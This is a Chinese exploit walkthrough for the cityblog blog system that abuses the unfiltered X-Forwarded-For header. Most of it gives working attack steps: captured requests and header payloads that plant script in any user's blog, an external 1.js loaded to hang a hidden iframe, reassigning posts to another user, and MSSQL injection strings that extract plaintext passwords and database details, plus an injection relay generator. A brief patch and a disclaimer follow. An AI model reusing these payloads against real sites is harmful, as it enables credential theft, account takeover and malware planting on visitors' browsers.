当cityblog遇到X-Forwarded-For
寂寞的刺猬[L.S.T]
寂寞的刺猬[L.S.T]
从本文你可以学到:
1、cityblog跨站漏洞
2、cityblog注射漏洞
1、cityblog跨站漏洞
2、cityblog注射漏洞
注:cityblog(都市自媒体)是cixiblog(慈溪博客)的升级版本。
cityblog(都市自媒体)是一款支持多用户的博客系统,而X-Forwarded-For则是代理IP的意思。自从X-Forwarded-For被牛人挖掘出利用的方法后,这方面的漏洞就开始层出不穷了!这不,当cityblog遇到了X-Forwarded-For,火花也就擦出来了,结果太刺激了,一下子烧了个大洞。
一、代码回放
在“UserManage\UserManageClass.asp”文件中,有这么一段:
★
Dim IP
IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
IF IP="" Then
IP=Request.ServerVariables("REMOTE_ADDR")
End IF
…………
SqlString="INSERT INTO [Article] (User_ID,User_Name,…………,IP)" '省略一些代码
qlString=SqlString & " VALUES("& Session("UserID") &",'"& Session("UserName") &"',…………,'"& IP &"')" '省略一些代码
★
Dim IP
IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
IF IP="" Then
IP=Request.ServerVariables("REMOTE_ADDR")
End IF
…………
SqlString="INSERT INTO [Article] (User_ID,User_Name,…………,IP)" '省略一些代码
qlString=SqlString & " VALUES("& Session("UserID") &",'"& Session("UserName") &"',…………,'"& IP &"')" '省略一些代码
★
注意IP这个变量,从使用“●Request.ServerVariables("HTTP_X_FORWARDED_FOR")●”接收数据,一直到放入INSERT语句“●'"& IP &"'●”中,只是多了一对单引号,再没有任何过滤,这难道不是漏洞吗?但是,对于INSERT注入漏洞,除非数据库采用的是MSSQL类型,并且还要支持多句运行,否则,没戏!但是cityblog并没有让偶失望,在接下来的不远处又给了另一段代码:
★
Dim IP
IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
IF IP="" Then
IP=Request.ServerVariables("REMOTE_ADDR")
End IF
SqlString="Update [Article] Set Article_Title='"& Article_Title &"',Article_Zy='"& Article_Zy &"',Blog_Info='"& Article_Message &"',Whather='"& Article_Whather &"',Article_Hid="& Article_Hid &",Article_ByClass='"& Article_Class &"',Article_Code='"& Article_SysCode &"',Article_Bl='"& ArticleBl &"',Article_Form='"& Articleform &"',Article_Tag='"& Article_Tag &"',Article_Update='"& Article_Update &"',IP='"& IP &"' Where User_ID="&Session("UserID")&" And Article_ID="& Article_ID &""
★
Dim IP
IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
IF IP="" Then
IP=Request.ServerVariables("REMOTE_ADDR")
End IF
SqlString="Update [Article] Set Article_Title='"& Article_Title &"',Article_Zy='"& Article_Zy &"',Blog_Info='"& Article_Message &"',Whather='"& Article_Whather &"',Article_Hid="& Article_Hid &",Article_ByClass='"& Article_Class &"',Article_Code='"& Article_SysCode &"',Article_Bl='"& ArticleBl &"',Article_Form='"& Articleform &"',Article_Tag='"& Article_Tag &"',Article_Update='"& Article_Update &"',IP='"& IP &"' Where User_ID="&Session("UserID")&" And Article_ID="& Article_ID &""
★
这一段代码是编辑已发日志的语句,用到的是UPDATE语句。除了这一段,在UserManageClass.asp中,还有一段编辑已发相片的UPDATE语句,如下:
★
SqlString="Update [Article] Set Article_Title='"& Article_Title &"',Article_Zy='"& Article_Zy &"',Blog_Info='"& Article_Message &"',Article_Hid="& Article_Hid &",Article_ByClass='"& Article_Class &"',Article_Code='"& Article_SysCode &"',Article_Tag='"& Article_Tag &"',Photo='"& Photo &"',Article_Update='"& Article_Update &"',IP='"& IP &"' Where User_ID="&Session("UserID")&" And Article_ID="& Article_ID &""
★
SqlString="Update [Article] Set Article_Title='"& Article_Title &"',Article_Zy='"& Article_Zy &"',Blog_Info='"& Article_Message &"',Article_Hid="& Article_Hid &",Article_ByClass='"& Article_Class &"',Article_Code='"& Article_SysCode &"',Article_Tag='"& Article_Tag &"',Photo='"& Photo &"',Article_Update='"& Article_Update &"',IP='"& IP &"' Where User_ID="&Session("UserID")&" And Article_ID="& Article_ID &""
★
不论是UPDATE,还是INSERT,所犯的错误都是一样的,但是UPDATE的利用方法,要比INSERT宽广多了,有句话怎么说来着,心有多宽,路就有多广。
二、MDB版跨用户跨站漏洞
何谓跨站,简单的讲就是把***挂在客户端浏览的网页中,何谓***, 这个就不用说了吧!经过测试后发现,cityblog不仅可以将***挂在自已的博客内,还可以挂到任意用户的博客中,怕怕,以后再看别人的博客时,要小心一些喽!
如何将跨站语句加入呢?大家看一下UPDATE语句中的● IP='"& IP &"'● ,只要提交的HTTP_X_FORWARDED_FOR 值是:●127.0.0.1',某个可显示的字段='显示名<script>alert("弹出的字符")</script>● 就可以了。看到这个语句,是不是想起了L_BLOG的提权漏洞,只可惜cityblog的HTTP_X_FORWARDED_FOR出现在Article表中,再者cityblog的管理员权限和L_BLOG的设置也不一样。
跨站的方法找到了,下面就来寻找“某个可显示的字段”,先将上面UPDATE语句中所用到的字段与数据库中的字段进行对比,看有哪些字符型字段没有用到UPDATE中。经过一番对比,发现有以下字符型字段没有用到上面的UPDATE语句中:
1、日志修改语句中没用到的字段有:User_Name 、Article_ByMonth、Blog_Quote、Photo。经过测试只有User_name和Blog_Quote可用,但插入Blog_Quote中的HTMl元素在显示时会被转换为字符串,所以在日志修改语句中,“某个可显示的字段”只有 User_Name 一个。
2、相册修改语句中没有用到的字段有:User_Name、Whather、Article_ByMonth、Article_Bl、Article_Form、Blog_Quote,经过测试,除了Article_ByMonth 和Blog_Quote不可用外,其余的都可以做“某个可显示的字段”。
找到了可利用的字段,下面就可以跨站了。先注册两个用户,一个是“jmdcw”,另一个是“5200”。先用jmdcw登陆,在登陆时选择“下次不必登入!”项,在前面分析可用字段时已经提过,相册中可利用的字段要多于日志,所以测试以相片日志为主。进入“发布相册”页面,按要求发一个相片日志,待成功后,点击“相册管理”进入管理页面,如图1。
图1 进入相册管理页面
找到刚才发布的相片,点击“动作”中的“编辑”,打开“修改相册”页面,在提交之前启动WinSOCK,选择当前页监听,如图2。
图2 监听
然后执行“修改相片”的操作,会弹出一个“操作成功”的提示窗口,不要急着关闭,先将WinSock中的POST数据提取出来,如下:
★
POST /cixi/UserManage/Photo_Update.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, */*
Referer: [url]http://127.0.0.1/cixi/UserManage/Photo_Update.Asp?ArticleID=385[/url]
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 385
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCCRASSSC=HPEFAKKAIFFIEOMIPPBADEFH; ASPSESSIONIDCASASTTD=LCLPBMLACJOABLIHIKJHNENO; cityblog=User%5FPASS=522007225&User%5FID=108&User%5FName=jmdcw
POST /cixi/UserManage/Photo_Update.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, */*
Referer: [url]http://127.0.0.1/cixi/UserManage/Photo_Update.Asp?ArticleID=385[/url]
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 385
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCCRASSSC=HPEFAKKAIFFIEOMIPPBADEFH; ASPSESSIONIDCASASTTD=LCLPBMLACJOABLIHIKJHNENO; cityblog=User%5FPASS=522007225&User%5FID=108&User%5FName=jmdcw
log_Title=ceshi&id=387&ClassName=1111111%C4%AC%C8%CF%CF%E0%B2%E1&BlogClass=102&bl=&log_IsShow=0&size=&color=&message=%5Bimg%5D%2Fcixi%2FUserUpLoad%2FUser0%2F108%2F200722574304417.gif%5B%2Fimg%5D%0D%0A&photo=%2Fcixi%2Fuserupload%2Fuser0%2F108%2F200722574304417.gif&tag=%CF%E0%C6%AC%7C%D5%D5%C6%AC%7C%C9%E3%D3%B0&update=true&iscopy=copy&PostBlog=Post&topicsubmit=%D0%DE%B8%C4%CF%E0%C6%AC
★
★
有了这些数据,就可以手动输入构造的X-Forwarded-For进行跨站了,为了方便测试,偶将以前的“POST提交工具”进行了一下修改,加入了X-Forwarded-For项,如图3。
图3 POST提交工具
将WinSock抓到的数据分别填入其中的项内,在X-Forwarded-For的项中填入:●127.0.0.1',User_Name='我来了<script>alert("刺猬来了")</script>● ,然后点“测试”,查看一下返回的信息,如图4,其中显示了“操作成功”字符。
图4 操作成功
是否真的成功了呢?打开“我的博客”,作者名字并没有改变,也没有弹出跨站窗口,难道错了?点击标题进入,如图5,弹出了跨站窗口,并且作者的名字也改了,呵呵!成功!
图5 成功
虽然跨站成功,但不太理想,毕竟需要他人点击进入才能看到,能不能在打开“我的博客”首页时就实现跨站呢?上面用的是User_name,这次换一下Whather试试,将工具窗口内的X-Forwarded-For语句更改为:●127.0.0.1',Whather='天气很好<script>alert("刺猬又来了")</script>● ,再次打开“我的博客”首页,如图6,这次一打开就弹出跨站窗口了,嘿嘿,再次成功。
图6 再次成功
下面我们再来挂个页面试试,这次换Article_Form出场,将X-Forwarded-For语句更改为:●127.0.0.1',Whather='晴',Article_Form='谁拍的<iframe src=//www.baidu.com width=200 height=100></iframe>●,提交后却返回了如下错误信息:“●字段太小而不能接受所要添加的数据的数量。试着插入或粘贴较少的数据●”。查看数据库中字段的长度后才知道,这几个字符型字段的长度最大都是50,不要紧,剑心写过50个字符内的跨站方法,这里简单说一下。先创建一个1.js文件,将欲加载的网页写在这个里面,内容如下(为了直观地看到效果,偶将其中的width和height均未设为零。):
★
document.write("<iframe style='display:none:' src='http://www.baidu.com' width=200 height=100></iframe>")
★
★
document.write("<iframe style='display:none:' src='http://www.baidu.com' width=200 height=100></iframe>")
★
将该文件保存到自已的某个空间内,然后将上面的X-Forwarded-For语句更改为:●127.0.0.1',Whather='晴',Article_Form='谁拍的<script src=//jmdcw.*****.com/1.js></script>●,后面的跨站语句正好50个字节,如果所在网站名字过长,不妨将其放在Whather的提交值中。再次提交,这次返回了成功信息,再次打开“我的博客”,如图7,挂马的效果实现了。
图7 挂马效果
上面说了这么多,说的是在自已的博客上挂马,如何将马挂到别人的博客上呢?还记不记得我前面建的另一个用户“5200”,在首页的“最新注册”中找到“5200”用户,打开其的首页,如图8,空空的一个空间。
图8 空的空间
从其URL(
[url]http://127.0.0.1/cixi/User0/109/[/url])中,得到了其的USER_ID是109,OK,回到我们的工具界面,将X-Forwarded-For语句更改为:●127.0.0.1',user_id=109,User_name='5200● ,提交后刷新5200的首页,如图9,嘿嘿,jmdcw所发的日志已经跑到5200空间中来了。
图9 日志转移成功
但当打开这篇日志后,却看到有一条编辑信息,如图10,哎呀,这下露馅了!怎么办?
图10 露馅了
其实只要在提交之前,将“提交内容”中的“●update=true●”项,改为“●update=●”,这样,就不会显示编辑信息了。所以在提交之前,一定要确认无误,否则,开弓没有回头箭,一旦将ID改为他人的,就再也没有权限更改了。
三、SQL版注入漏洞
常见注入漏洞都是SELECT语句方面,其实在SQL版中,只要条件允许,INSERT、UPDATE、DELETE语句一样可以注入,下面就来试试UPDATE的注入利用。
打开本地MSSQL的“企业管理器”,新建一个数据库cityblog,然后导入MDB版的数据库#cityblog.mdb到SQL数据库中,再调整几个字段的设置,最后将Config.asp中的SQL连接语句改为:●SqlConnectionString="DRIVER={SQL Server};SERVER=(local);UID=cityblog;PWD=jmdcw;DATABASE=cityblog;" ●,OK,一切调试完毕,可以SQL版注入之行了!
和前面的步骤一样,先用jmdcw用户登陆,发一个相片,然后再用WinSock抓取修改时的数据,将这些数据填入偶的那个工具内,一切准备就绪,接下来就可以提交X-Forwarded-For语句来注入了。先来获取用户“5200”的密码,提交的X-Forwarded-For语句是:● 127.0.0.1',Article_form=(select user_pass From[Tb_user]where user_name='5200'),whather='晴●
返回的信息是操作成功,打开jmdcw的博客,如图11,5200用户的密码已经显示出来了,还是明文,搞不懂cityblog的设计者为什么不对密码进行MD5加密呢?
图11 明文密码
如果要获取其他用户的密码,更改用户名就可以了,但每次都要去刷新首页,太麻烦,还是试试暴错的方法吧,将语句改为:● 127.0.0.1' where user_name='jmdcw' and user>0-- ●
注意,在进行这样的语句时,一定在where后加入一个诸如“●user_name='jmdcw' ●”之类的条件,这样,假使AND后面的条件成立了,所修改的也只是一个用户的数据,否则,就会把所有的数据全部更改了,这样的后果是很可怕的,切记!切记! 查看工具中的返回信息,如图12,暴出了当前数据库的用户名称。
图12 数据库用户名
接下来,只要更改and 后的语句,就能够得到更多的信息,比如更改为● @@version>0 ●,可以得到服务器系统及数据库版本信息,改为● (select db_name(0))=1 ●得到当前数据库名,将其中的0改为其它数值,就可以得到其它数据库名称。不过,这样的猜解也是很枯燥的,有没有快捷一些的方法呢?想起了前段时间写的数据转发脚本,这个也是提交数据,是不是可以用它来转发呢?分析完所要提交的数据,写出了一个针对X-Forwarded-For转发数据的ASP脚本,为了方便测试,我又抽出一点时间编了一个小程序“数据注入中转生成器”,如图13,其中的“代理注入”所生成的文件就是转发X-Forwarded-For数据的ASP脚本。
图13 注入中转生成器
程序中“注入键名 user_name='用户名'”内的用户名是当前用户的名称,“注入URL地址”是数据包内HOST和POST的集合。来源页、COOKIE和POST提交值按数据包中的内容复制过来即可。为防止出错,偶重新用WinSock抓了一次“修改相册”的数据,然后将抓到的数据分别填入“数据注入中转生成器”中,点击“生成ASP”,就在程序所在目录中生成了一个“JmHttp.asp”文件,只要把该文件放在本地的IIS内或是网络中的某个空间内,就可以转发注入工具所提交的数据了。
为了方便测试,偶将“JmHttp.asp”放在了本地的IIS根目录中,所以在“HDSI”的“注射地址”内填入的就是:●[url]http://127.0.0.1/jmhttp.asp?jmdcw=a[/url]●,注意,URL中最后的字符●a●是用来和脚本中的代码进行匹配的,不能缺少。点击“开始”后,很快就得到了结果,如图14,暴出了数据库的相关信息,接下来就可以猜解表名或获取其他信息了,使用数据转发,方便多了(哈哈,广告时间)。
图14 暴出了数据库相关信息
如果在用工具检测时没有发现注入点,可在URL中输入:●[url]http://127.0.0.1/jmhttp.asp?jmdcw=a[/url]' and user>0 and ''=' ●进行测试,如果出现的界面和图15不一致,那就有几种可能。
图15 手工测试
一则可能是在登陆时没有勾选“下次不必登入”,所抓到的Cookie数据已经失效;二则可能是在“数据注入中转生成器”中填写错误,少复制或输错了个别字符;三则可能数据库是MDB版是不存在注入点;四则可能是……
四、查缺补漏
说完了漏洞,下面就该说修补方法了,通过前面的一系列介绍,大家也可以看出,之所以出现跨站和注入漏洞,并不是因为采用了X-Forwarded-For的原因,而是因为没有对代理IP进行单引号过滤。OK,原因找到了,修补也就简单了,将UserManageClass.asp文件中的“●IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR") ●”更改为 :“●IP = Replace(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),"'","")●”就可以了,除了UserManageClass.asp文件外,在inc\catyblogclass.asp中也用到了这个HTTP_X_FORWARDED_FOR,也要一并修复。最后,希望采用这套系统建站的管理员及时修补,也希望各位朋友保持一颗平常心。
●声明:请勿利用本文介绍的方法及工具从事非法活动,否则,后果自负。挂马是一种可耻且违法的行为!请不要以身试法!●
编辑点评:
作者针对cityblog做的分析相当的到位,从跨站到注射到最后的修补,可谓是ASP漏洞的典范了,还不熟悉的朋友认真揣摩下,体会下作者的思路,不要立即就跑到google上找到类似的网站在照猫画虎的利用,要学会分析思路和方法。